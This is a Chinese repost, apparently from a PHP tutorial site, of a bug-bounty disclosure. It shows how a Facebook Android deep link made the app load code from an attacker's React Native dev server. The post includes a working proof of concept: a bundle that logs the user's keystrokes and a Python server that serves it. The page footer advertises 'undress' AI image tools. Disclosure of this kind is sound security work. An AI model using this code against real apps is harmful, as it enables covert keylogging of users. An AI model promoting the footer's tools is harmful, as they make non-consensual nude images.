如何利用深度链接方式后门化Facebook APP
近期,作者发现了Facebook安卓APP应用的一个深度链接漏洞,利用该漏洞,可以把用户手机上安装的Facebook安卓APP应用转变成后门程序(Backdoor),实现后门化。此外,该漏洞也可以用来重新打包Facebook应用程序,并将其发送给选定的目标受害者进行安装使用。下面就来看看作者对该漏洞的发现过程,以及如何通过Payload构造,最终将其转化为Facebook APP实际生产环境中的安全隐患。
漏洞发现
通常做众测时,我会先认真了解目标系统的应用机制。在我的上一篇博客中,我已经分享了通过解析Facebook APP来发现FB4A参数应用中深度链接(deeplinks)的一些经验过程,而在此,我先分享我编写的一个脚本文件,用它可以自动实现对Facebook APP深度链接(deeplinks)的发现。该脚本文件为-Facebook Android Deeplink Scraper(FBLinkBuilder.py),是一段基于Python的代码程序,专用于从 Facebook APK中提取深度链接(deeplinks):
import os import json import argparse from zipfile import ZipFile from datetime import datetime fname = datetime.now().strftime("FB_Deeplinks%d%m%Y%H%M%S.txt") #default filename parser = argparse.ArgumentParser() parser.add_argument('-i', help='Facebook APK file') parser.add_argument('-o', help='Output file', nargs='?', default=fname) parser.add_argument('-e', help='Only show exported. Defaulted to False', nargs='?', default=False) args = parser.parse_args() file_name = args.i #apk output_name = args.o #generated output / provided exported = args.e #False / provided with ZipFile(file_name, 'r') as zip: print('Extracting native routes file...') #fyi data = zip.read('assets/react_native_routes.json') #extract file from zip js = json.loads(data.decode("utf-8")) #to read as list params = '' #placeholder i = 0 #deeplink count text_file = open(output_name, "w") #open output print('Manipulating data...') #fyi for key in js: #for each block in json for key2 in key['paramDefinitions']: #grab the collection of params params += key2 + '=' + str(key['paramDefinitions'][key2]['type']).upper() + '&' #append params with type if exported: #exported only if key.get('access','') != 'exported': #check access key params = '' #Reset params continue #try next block link = 'fb:/' + key['path'] + '/?' + params #build link print(link[:-1]) #fyi text_file.write(link[:-1]+ '\n') #write to file i += 1 #increase counter params = '' #reset params text_file.close() #save file print('File: ' + output_name + ' saved') #fyi print(str(i) + ' deep links generated') #fyi
下载源: https://github.com/ashleykinguk/FBLinkBuilder/
使用方法: .\FBLinkBuilder.py -i fb0409.apk
通过FBLinkBuilder.py的运行实现,我们可以对比不同APP版本之间出现的深度链接,以此来观察不同APP版本的应用服务变化,我正是利用该方法发现了Facebook APP 2020版本中存在的一个不安全的深度链接:fb://rnquantum_notification_handler/?address=,它是Facebook APP首次在2020年版本中加入的。
该深度链接的参数形式为hostname / ip,于是乎我就用自架的服务器192.168.0.2来做了个测试:fb://rnquantum_notification_handler/?address=192.168.0.2:8224,通过该链接,可以在Facebook APP中跳出以下弹窗:
点击其中的"Enable Quantum"按钮后,会重新启动Facebook APP,之后,我尝试去发现其中的变化,但这一切貌似没啥异常。接下来,我把注意力放到了网络流量上,当时我想到了不久前Facebook专为安全研究者开放的白帽测试功能,安全研究者可以通过该功能暂时绕过Facebook的证书绑定(Certificate Pinning)等安全限制,去测试Facebook相关应用的网络流量。我利用白帽测试功能发现,进行上述操作后,Facebook应用程序会发出如下的外发链接请求:
http://192.168.0.2:8224/message?device=Android+SDK+built+for+x86+-+10+-+API+29&app=com.facebook.katana&clientid=DevSupportManagerImpl
http://192.168.0.2:8224/status
这里的第一条请求机制为传递基于的移动端设备属性信息,并意图建立一个websocket连接;第二条请求为返回请求主机的状态信息packager-status:running,它是Facebook的react-native源码内置参数,可以参考Github: /com/facebook/react/devsupport/DevServerHelper.java。
而就当我想方设法在自架服务器192.168.0.2中构造响应消息时,我又发现了Facebook APP产生的另外一个请求:
http://192.168.0.2:8224/RKJSModules/EntryPoints/Fb4aBundle.bundle?platform=android&dev=true&minify=false
该请求目的为寻找打包文件中存储的FB4A参数,初步分析来看,该参数应该是明文而非通常的hbc*格式存储于Facebook APP中。我曾尝试输入hbc*格式的FB4A参数进行测试,但最终却会让Facebook APP发生崩溃。
其实,对于Facebook APP来说,在2019年之前,其打包文件( bundles)存储于/assets/目录下的一个形式化文件中,但2019年后,Facebook就引入了hbc格式 (*Hermes ByteCode) ,一方面为APK瘦身,一方面为防止核心代码显式化。虽然我尝试使用了hbc格式工具HBCdump,对Facebook APP生成了一个约250M的打包文件,但好像也没什么用。
劫持Facebook APP
之后,我想到了另外一种发现打包文件的方法:那就是通过查看老版本的Facebook APP,将明文包内容和移动端设备生成的错误消息进行对比,移动端设备生成的错误消息可通过logcat可见。一通对比下来,我发现以下线索:
__fbBatchedBridge -包文件中必需的对象,其中包含了与APP应用同步的各种功能组成;
__fbBatchedBridge.callFunctionReturnFlushedQueue -APP后台调用的函数,每次调用都会执行相应的动作或事件。
基于上述发现,我的想法就是使Facebook APP可以成功下载并执行我构造的包文件,为了实现该目的,我需要自己编写包文件,然后把它托管在我的自架主机192.168.0.2中。以下是我构造的包文件FB4abundle.js:
/* contact@ash-king.co.uk */ var i = 0, logs = ''; /* our local vars */ /*the below objects are required for the app to execute the bundle. See lines 47-55 for the custom js */ var __fbBatchedBridge = { _lazyCallableModules: {}, _queue: [[], [], [], 0], _callID: 0, _lastFlush: 0, _eventLoopStartTime: Date.now(), _immediatesCallback: null, callFunctionReturnFlushedQueue: function(module, method, args) { return __fbBatchedBridge.__guard(function() { __fbBatchedBridge.__callFunction(module, method, args) }), __fbBatchedBridge.flushedQueue() }, callFunctionReturnResultAndFlushedQueue: function(e, u, s) { return __fbBatchedBridge.__guard(function() { throw new Error('callFunctionReturnResultAndFlushedQueue: ' + a); }), __fbBatchedBridge.flushedQueue() }, invokeCallbackAndReturnFlushedQueue: function(a,b,c) { throw new Error('invokeCallbackAndReturnFlushedQueue: ' + a); }, flushedQueue: function(a, b) { if(a != undefined){ throw new Error('flushedQueue: ' + b) } __fbBatchedBridge.__callImmediates(); const queue = __fbBatchedBridge._queue; __fbBatchedBridge._queue = [[], [], [], __fbBatchedBridge._callID]; return queue[0].length ? queue : null; }, onComplete: function(a) { throw new Error(a) }, __callImmediates: function() { if (__fbBatchedBridge._immediatesCallback != null) { __fbBatchedBridge._immediatesCallback(); throw new Error('processCallbacks: ' + __fbBatchedBridge._immediatesCallback()); } }, getCallableModule: function(a) { const getValue = __fbBatchedBridge._lazyCallableModules[a]; return getValue ? getValue() : null; }, __callFunction: function(a,b,c) { if(a == 'RCTNativeAppEventEmitter') { // Only capturing the search bar in settings i += 1 //increment count logs += JSON.stringify(c) + '\n'; //JSON Object if(i > 10) { /* Here is where we will write out to logcat via js*/ var t = (nativeModuleProxy); throw new Error('Look HERE: ' + (logs) + '\n\r'); } } __fbBatchedBridge._lastFlush = Date.now(); __fbBatchedBridge._eventLoopStartTime = __fbBatchedBridge._lastFlush; const moduleMethods = __fbBatchedBridge.getCallableModule(a); try { moduleMethods[b].apply(moduleMethods, c); } catch (e) { } return -1 }, __guard: function(e) { try { e(); } catch (error) { throw new Error('__guard: ' + error); } } };
另外需要一个脚本文件fb_server.py,以便让Facebook APP自动调用该包文件
#contact@ash-king.co.uk from http.server import BaseHTTPRequestHandler, HTTPServer import logging class S(BaseHTTPRequestHandler): def _set_response(self): self.send_response(500) self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write(bytes("", "utf-8")) def do_GET(self): if self.path == '/status': self.resp_status() elif str(self.path).find('message?device=') > -1: self.resp_message() elif str(self.path).find('Fb4aBundle.bundle') > -1: self.resp_fb4a() def do_POST(self): content_length = int(self.headers['Content-Length']) post_data = self.rfile.read(content_length) logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n", str(self.path), str(self.headers), post_data.decode('utf-8')) self._set_response() self.wfile.write("POST request for {}".format(self.path).encode('utf-8')) def resp_message(self): logging.info("resp_message") self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write(bytes("", "utf-8")) logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers)) def resp_status(self): logging.info("resp_status") self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write(bytes("packager-status:running", "utf-8")) logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers)) def resp_fb4a(self): logging.info("resp_bundle") self.send_response(200) self.send_header('Content-type', 'multipart/mixed') self.end_headers() with open('FB4abundle.js', 'rb') as file: self.wfile.write(file.read()) logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers)) def run(server_class=HTTPServer, handler_class=S, port=8224): logging.basicConfig(level=logging.INFO) server_address = ('', port) httpd = server_class(server_address, handler_class) logging.info('Starting httpd...\n') try: httpd.serve_forever() except KeyboardInterrupt: pass httpd.server_close() logging.info('Stopping httpd...\n') if __name__ == '__main__': from sys import argv run()
综合深度链接、包文件调用和我自己构造加入的"Enable Quantum"URL链接,最终我可以向Facebook APP调用包文件中加入我自制的代码,并由其中的深度链接来实现调用。在我的POC漏洞验证展示中,如果受害者运行了我重打包的Facebook APP后,我可以拦截他在Facebook APP中的输入字符流量,如拦截他输入的5个字符流量“testi”,并会在logfile中显示他实际输入的字符,且最终会产生一个告警提示:
漏洞影响
恶意攻击者可以利用该漏洞,通过物理接触移动设备上的APP或向受害者发送重打包APP的方式,向受害者移动端设备APP中植入持久化连接,对受害者设备APP形成长期感知探测的后门化。
然而,一开始,Facebook安全团队却忽略了该漏洞,他们选择了关闭该漏洞报告并分类为不适用(not applicable),他们给出的解释为:
Any user that is knowledgable enough to manage servers and write code would also be able to control how the app operates. That is also true for any browser extension or manual app created. A user is also able to proxy all their HTTP Traffic to manipulate those requests. Only being able to make local modifications with a PoC showing actual impact does not fully qualify for the Bug Bount.
之后,我就公布了POC验证视频,一小时后,Facebook安全团队的雇员联系了我,声称他们重新评估了该漏洞,并要求我删除了该POC验证视频。但在视频删除前,至少30多名观众看过了该视频。
Facebook安全团队的漏洞评估
“重新评估该漏洞后,我们决定按我们的众测标准给出对该漏洞给予奖励,在你上报的漏洞中,描述了可让受害者重定向到一个攻击者控制的 React Native Development服务端,并向受害者APP中植入恶意代码的场景,感谢你的漏洞上报。”
漏洞上报和处理进程
2020.6.20 - 漏洞上报
2020.6.22 - 提供技术细节
2020.6.23 - Facebook把该漏洞分类为N/A
2020.6.23 - 我在Youtube上公布POC视频
2020.6.23 - Facebook重新评估该漏洞并要求我删除POC视频
2020.6.24 - 漏洞分类
2020.6.26 - Facebook通过关闭Quantum功能进行缓解
2020.8.20 - Facebook修复该漏洞
2020.9.17 - Facebook赏金奖励支付
以上是如何利用深度链接方式后门化Facebook APP的详细内容。更多信息请关注PHP中文网其他相关文章!

热AI工具

Undresser.AI Undress
人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover
用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool
免费脱衣服图片

Clothoff.io
AI脱衣机

AI Hentai Generator
免费生成ai无尽的。

热门文章

热工具

记事本++7.3.1
好用且免费的代码编辑器

SublimeText3汉化版
中文版,非常好用

禅工作室 13.0.1
功能强大的PHP集成开发环境

Dreamweaver CS6
视觉化网页开发工具

SublimeText3 Mac版
神级代码编辑软件(SublimeText3)

热门话题

Facebook是一个全球知名的社交媒体平台,它为用户提供了一个连接和交流的平台。成立于2004年,由马克·扎克伯格等人创建。它是一个在线社交网络,用户可以在上面与朋友、家人和同事分享信息、照片和视频,并与他们进行互动,它的影响力不仅限于个人用户,还扩展到了企业和新闻领域。

京东商城APP实名认证怎么弄?京东商城是很多朋友经常使用的一款网上购物平台,大家在购物之前,最好先进行实名认证,这样才能享受到完整的服务,获得更好的购物体验。下面带来京东商城实名认证方法,希望对网友们有所帮助。1、安装并打开京东商城,接着登录个人账号;2、然后点击页面下方【我的】,进入个人中心页面;3、之后再点击右上角的【设置】小图标,前往设置功能界面;4、选择【账号与安全】这一项,来到账户设置页面;5、最后再点击【实名认证】选项,前往填写实名信息;6、安装系统要求填写个人真实信息,完成实名认证

在全球范围内,Apple公司的产品和服务一直备受用户喜爱。注册一个香港AppleID将带给用户更多的便利和特权,让我们一起来了解一下注册香港AppleID的步骤以及需要注意的事项。如何注册香港AppleID在使用苹果设备时,很多应用和功能都需要使用AppleID进行登录。如果您想下载香港地区的应用或享受香港AppStore的优惠内容,那么注册一个香港AppleID就非常必要。本文将详细介绍如何注册香港AppleID的步骤以及需要注意的事项。步骤:选择语言与地区:在苹果设备上找到“设置”选项,进入

中国联通app能够轻松的满足大家的使用,多样的功能,解决你们的需求,想要办理各种业务,都可以在这里轻松的搞定,有不需要的都可以在这里及时的退订掉,有效的避免后续的损失,很多人在使用手机时,有时感觉流量不够用,就购买了额外的流量包,但下个月又不想要要,就想要马上的退订掉,在这里小编为大家提供退订的方法,让需要的小伙伴们,都可以前来使用起来! 在中国联通app中,找到右下角的“我的”选项,点击它。 在我的界面里,滑动我的服务一栏,点击其中的“我已订购”选

Blackmagic Design 终于将其广受好评的 Blackmagic Camera 应用程序带到了 Android 平台。专业摄像机应用程序可免费下载,并提供完整的手动控制。这些控制旨在让您更轻松地获得专业级 cin

发票作为购物凭证,对于我们的日常生活和工作都至关重要。那么我们平时在使用多点app进行购物的时候,如何在多点app中轻松开具发票呢?下文中本站小编就将为大家带来详细的多点app开设发票详细操作步骤攻略,想要了解的用户们千万不容错过,快来跟着文本一起操作了解一下吧!在【发票中心】点击【多点超市/自由购】在已完成的订单页中选择需要开票的订单,点击下一步填写【发票信息】,【收件人信息】,确认无误后点击提交过个几分钟后,进入收件邮箱,打开邮件,点击电子发票下载地址最后,下载打印电子发票

个人所得税app怎么申报?个人所得税是一款实用性非常强大的手机软件,用户可以在这个软件上面进行申报一些业务,还可以在这个软件上面进行退税等。只要用户有将这个软件下载下来,就可以不用去线下排队等办理了,非常方便。很多用户到现在都还不清楚怎么用个人所得税软件进行申报,下面小编整理了个人所得税软件的申报方法,供大家参考。个人所得税app申报方法 1、首先,打开软件,在首页找到并点击“我要办税”按键; 2、然后,在这里的税费申报中找到并点击“综合所得年度汇算&rdquo

app全称是“Application”,即应用程序的缩写,是指针对移动设备开发的一种软件应用。app的出现为用户提供了更多种类的移动应用程序选择,满足了用户在不同场景下的各类需求。app的开发过程涉及到软件设计、编程、测试等多个环节,同时也需要考虑设备兼容性、性能优化、安全性等方面的问题。
